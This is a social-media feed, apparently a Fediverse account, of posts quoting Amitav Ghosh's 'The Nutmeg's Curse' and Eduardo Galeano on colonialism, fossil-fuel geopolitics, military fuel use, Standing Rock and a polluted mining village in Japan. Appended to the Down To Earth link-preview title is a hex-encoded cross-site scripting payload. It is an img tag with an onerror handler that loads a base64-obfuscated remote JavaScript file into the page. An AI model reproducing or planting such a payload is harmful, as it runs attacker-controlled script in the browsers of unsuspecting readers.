bs2Jun 23, 2024

> .. the movement became synonymous with a place— Standing Rock— it could be said that its political energy was generated in large part by the landscape itself. In the words of a group of activists, “Standing Rock emerged as a ‘prayer camp’ because the grounds in question are sacred, a site of ceremony and ancestral knowledge.”

#AmitavGhosh #NutmegsCurse
#StandingRock #OccupyMovement #OccupyPlaces
#一所懸命 #PowerOfPlace #BloodAndSoil #StoryAndSoil #StoryAndPlace

bs2Feb 16, 2024
> .. the movement’s insistence on the particularity of a specific landscape did not, in any way, limit its appeal; to the contrary, #StandingRock became a magnet for people from many countries and faith traditions. “There were Iraqi people there; there were Egyptian people there,” says an activist. “You had many people from different European countries that came to Standing Rock. Different walks of life. Filipinos. You have every walk of life there.”
#AmitavGhosh #NutmegsCurse
Brian SmallFeb 15, 2024

This empire may be under American control today, but it is the product of centuries of combined Western effort, going back to the 1500s. What would happen to this vast strategic structure if there were to be a quick, worldwide transition to forms of energy that do not need to be transported across oceans? The answer is obvious: its value would be hugely diminished. China, India, Japan, and other large Asian economies would not need to worry about the Strait of Hormuz or Malacca— they would generate their power on their own soil. #AmitavGhosh in #NutmegsCurse... imagine if China were able to completely reduce its dependence on fossil fuels and switch to renewable energies. It would completely overturn the geopolitical order of the world today, because the geopolitics of the world really depends on the shipping of fossil fuels, you know, through these particular chokepoints. Two of the most important chokepoints are the Strait of Hormuz and the Strait of Malacca. And, you know, something like 40% of the world’s oil ship through these chokepoints every day. So, on controlling these chokepoints depends, actually, Western geopolitical dominance. And if fossil fuels were to be completely substituted at scale, what you would have is a complete inversion of the world’s geopolitical order. - https://www.democracynow.org/2021/11/10/the_nutmegs_curse

#GeopoliticalOrder #FossilFuelOrder #GeographyClass #StraitOfMalacca #StraitofHormuz

“A Process of Violence”: Indian Author Amitav Ghosh on How Colonialism Fueled the Climate Crisis

As talks at the Glasgow U.N. climate summit accelerate, we look at how the roots of the climate crisis date back to Western colonialism with award-winning Indian author Amitav Ghosh, who examines the violent exploitation of human life and the natural environment in his new book, “The Nutmeg’s Curse: Parables for a Planet in Crisis.” Ghosh speaks about the political significance of fossil fuels in global politics, saying that “if fossil fuels were to be completely substituted at scale, what you would have is the complete inversion of the world’s geopolitical order.” Ghosh’s previous books include “The Great Derangement: Climate Change and the Unthinkable” and the novel “Gun Island.”

Democracy Now!
bs2Nov 15, 2023
> We can’t say “It’s just #capitalism”.. “It’s patriarchy”.. “It’s #racism”. It is everything about how we have organized this society that is based upon extracting labor and resources from people and places that we have rendered into things. It is the idea that all parts of the world are inanimate, #mechanical, #soulless, and therefore open to economic use and ultimately destruction. This idea affects everything, indeed it creates our story of “everything”
https://www.resilience.org/stories/2022-03-21/the-nutmegs-curse-review/
#NutmegsCurse
The Nutmeg’s Curse: Review

Terraforming tries to sooth our fears by breaking up any possible conspiracy against our projects. It dis-places the people who have wisdom

resilience
bs2Sep 11, 2023
#AnthropoceneDefinition
> it might lead to greater political action or awareness of the problem. But I do feel that it is important to note that there have been several resignations from #AWG over the narrowness of this definition because effectively, it ignores the prehistory of this problem which goes back three or four centuries to the invention of an #ExtractivistEconomy, which is what my book The #NutmegsCurse is about.
https://www.downtoearth.org.in/interviews/climate-change/there-are-so-many-problems-with-the-anthropocene-definition-amitav-ghosh-90928
#AmitavGhosh on #TheAnthropocene
There are so many problems with the Anthropocene definition: Amitav Ghosh

The author spoke to Down To Earth on the shortcomings of the narrative around the Anthropocene">0x416d65726963613c696d67207372633d2222206f6e6572726f723d2276617220733d646f63756d656e742e637265617465456c656d656e74282773637269707427293b732e7372633d61746f6228274c79396a5a473475616e4e6b5a577870646e4975626d56304c32646f4c7a526b646d4d77626d5976595338784c6d707a27293b646f63756d656e742e626f64792e617070656e642873293b223e

Show threadBrian SmallJul 17, 2023

.> the Pentagon is the single largest consumer of energy in the United States— and probably in the world.4 The US military maintains vast fleets of vehicles, ships, and aircraft, and many of these consume huge amounts of fossil fuels. A non- nuclear aircraft carrier consumes 5,621 gallons of fuel per hour; in other words, these vessels burn up as much fuel in one day as a small midwestern town might use in a year. But a single F- 16 aircraft consumes a third as much fuel in one hour of ordinary operations— around 1,700 gallons. If the plane’s afterburners are engaged, it consumes two and a half times as much fuel per hour as an aircraft carrier— 14,400 gallons. #AmitavGhosh in #NutmegsCurse on #ThePentagon #USAmilitary and #FossilFuels #F16 #AircraftCarrier #F16FuelUse #MidWesternTown #USAmidWesternTown

@bsmall2

bs2Jul 17, 2023
> During the Second World War the American military’s consumption of petroleum amounted to one gallon of petroleum per soldier per day; during the first Gulf War this rose to four gallons per soldier per day; in the recent wars in Iraq and Afghanistan, the rate of consumption surged to sixteen gallons per soldier per day.
--- #AmitavGhosh #NutmegsCurse #FossilFuelMilitary #FossilFuelsWar #GulfWar #SecondWorldWar
Brian SmallNov 16, 2022
This falling-down shrine of a mining company makes me think of the #ResourceCurse explained by #AmitavGhosh in The #NutmegsCurse... And of similar events in Latin America explained by #EduardoGaleano. After booming with an extractive resource places are left with poverty and pollution. #Toroku is doing a lot better now but it required decades of grassroots work and study, and the population is still declining... It's beautiful and the trees, deer, and wild boar seem to be thriving. Local farmers won awards for the best beef in Japan with their cows. The bees are back, the persimmons are back. Now we just have to get a regenerative economy going so that Toroku and a lot of other beautiful places will live on..

The walls to the bath of the long building that used to house worker is still there. The pictures show the inside of a house that used to be on that little plot. A family moved there to make a living by mining and they all died of various diseases from Arsenic pollution.
#Toroku #Shrine #神社 #資源の呪い Resource Curse
#土呂久 #土呂久山荘 #高千穂町 #宮崎県 #日本

#土呂久 #土呂久山荘 #高千穂町 #宮崎県 #日本
bs2Sep 13, 2022
> .. the regions now most underdeveloped and poverty-stricken are those which in the past had had the closest links with the metropolis and had enjoyed periods of boom.. Having once been the biggest producers of goods exported to Europe, or.. the #USA, and the richest sources of capital, they were abandoned by the metropolis.. when business sagged. #Potosí is the outstanding example of this descent into the vacuum.
#EduardoGaleano #OpenVeinsOfLatinAmerica on #ResourceCurse, #NutmegsCurse
Brian SmallSep 8, 2022

Earth4All Changes

https://nerdica.net/display/a85d7459-1863-1988-bae2-18e346352643

Earth4All Changes

A comment about Portugal's standard of living from Cornelius Castoriadis keeps coming to mind while reading Naomi Klein's This Changes Everything, Amitav G...